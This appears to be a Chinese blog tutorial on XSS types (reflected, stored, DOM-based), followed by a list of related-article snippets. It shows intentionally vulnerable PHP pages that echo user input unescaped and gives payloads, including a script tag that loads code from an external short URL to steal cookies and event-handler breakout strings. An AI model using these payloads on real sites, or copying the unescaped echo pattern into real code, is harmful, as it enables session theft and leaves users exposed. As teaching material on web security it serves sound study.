XSS跨站脚本攻击的分类

一、 反射型XSS跨站脚本攻击

二、 存储型XSS跨站脚本攻击

三、 基于DOM的XSS跨站脚本攻击


1.反射性XSS

经过后端,不经过数据库

2.储存型XSS

经过后端,经过数据库

3.基于DOM型的XSS

不经过后端,DOM—based XSS漏洞是基于文档对象模型(即Document Objeet Model缩写为:DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。DOM 定义了访问 HTML 和 XML 文档的标准:

案例一:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" size="50" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为:<br>'.$xss;
?>
</body>
</html>

输入payload:

<script>alert('xss')</script>

仅仅是弹窗?

<script>alert(document.cooki)</script>  //可以打印COOKIE

<script src=https://is.gd/86Zg1z></script>  //结合XSS平台打COOKIE,单引号什么的都要去除。

案例二:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS利用输出的环境来构造代码</title>
</head>
<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input_value'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'">';
}else{
echo '<input type="type" value="输出">';
}
?>
</center>
</body>
</html>

在输入处输入aa以后看源码:

然后写出绕过payload

"><script>alert('xss')</script>

后来看文章发现这个也可以:

" onclick="alert('xss')

039是单引号的ASCII值.在其前面加&#即可.也是可以弹窗。注:需要触发。

需要触发肯定很麻烦,这个时候我们可以换一些别的事件。

Onmousemove 当鼠标移动就触发

Onload 当页面加载完成后触发

例如:" Onmousemove=" src=http://t.cn/R6uYrF2

然后换成打cookie的payload:

 " Onmousemove="alert('')

参考:http://www.freebuf.com/articles/web/54686.html

如何防御XSS

1.httponly

2.过滤输入输出是否包含特殊字符

初窥XSS跨站脚本攻击的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  3. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  4. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  5. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  6. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

  7. PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)

    废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...

  8. web应用程序安全攻防---sql注入和xss跨站脚本攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...

  9. spring-boot-plus XSS跨站脚本攻击处理

    XSS跨站脚本攻击处理 XSS:Cross Site Scripting 跨站脚本攻击(XSS),是目前最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当 ...

随机推荐

  1. Node & Cheerio & WebStorm 学习实验

    准备用cheerio去抓一些网页看看. 可以参考的材料有: http://www.cnblogs.com/CraryPrimitiveMan/p/3674421.html http://cnodejs ...

  2. Java中文语言处理HanLP

    官网:http://hanlp.linrunsoft.com/ 1.中文分词:http://hanlp.linrunsoft.com/doc/_build/html/segment.html 2.摘要 ...

  3. win下idea远程提交WordCount任务到HA集群

    一,环境配置 1,修改win下的host文件:即C:\Windows\System32\drivers\etc\host中添加集群中机子的ip 2,win下hadoop,并为win的环境变量配置had ...

  4. google,百度地图POI下载

    百度,google POI下载工具是可以对任意矩形范围,以及任意省市级区域的兴趣点数据进行下载,可以支持多线程下载,按分类下载,以及按关键字下载. 线程数可以自由设置16线程之内.下载格式为excel ...

  5. 运行时权限请求框架easypermissions

    前言 之前使用过AndPermission权限申请库,当开发者执行有权限的代码发生异常时,AndPermission会抓到异常并回调到失败中,这里要注意的是会抓到任何异常,不仅仅是没有权限时的异常. ...

  6. struts struts拦截器(过滤器)

    在struts中尽量避免自定义拦截器,因为大部分需要自己定义拦截器的时候,设计思路就不对了.大部分拦截器框架都有给你定义好了.而且如果在struts中定义拦截器相当于和这个框架绑定了,假如以后要扩展或 ...

  7. LeetCode-1:Two Sum

    [Problem:1-Two Sum] Given an array of integers, return indices of the two numbers such that they add ...

  8. T-sql isnull函数介绍

    今天在给同事调取数据的时候,同事反馈说数据偏少,我仔细检查,发现sql语句条件都正确,逻辑没哪里不对,最后经过仔细排查,才发现问题出在null字段上 表中有一列是允许为null值,比如查询名字不为测试 ...

  9. JS 毫秒日期相互转换 JS获取 今天 明天 昨天的日期

    var dd = new Date(); var AddDayCount = 0; //0 今天 1 明天 -1 昨天 以此类推 dd.setDate(dd.getDate() + AddDayCou ...

  10. ASP.Net 自定义HttpModule注册管道事件

    背景: 一个请求在到达处理器时 可能需要做很多重复的工作 比如使用固定的算法推算出用户id 角色   如果在应用程序各处做重复解析 会产生大量代码冗余 还有能想到的诸如记录访问者 应用日志 统计流量 ...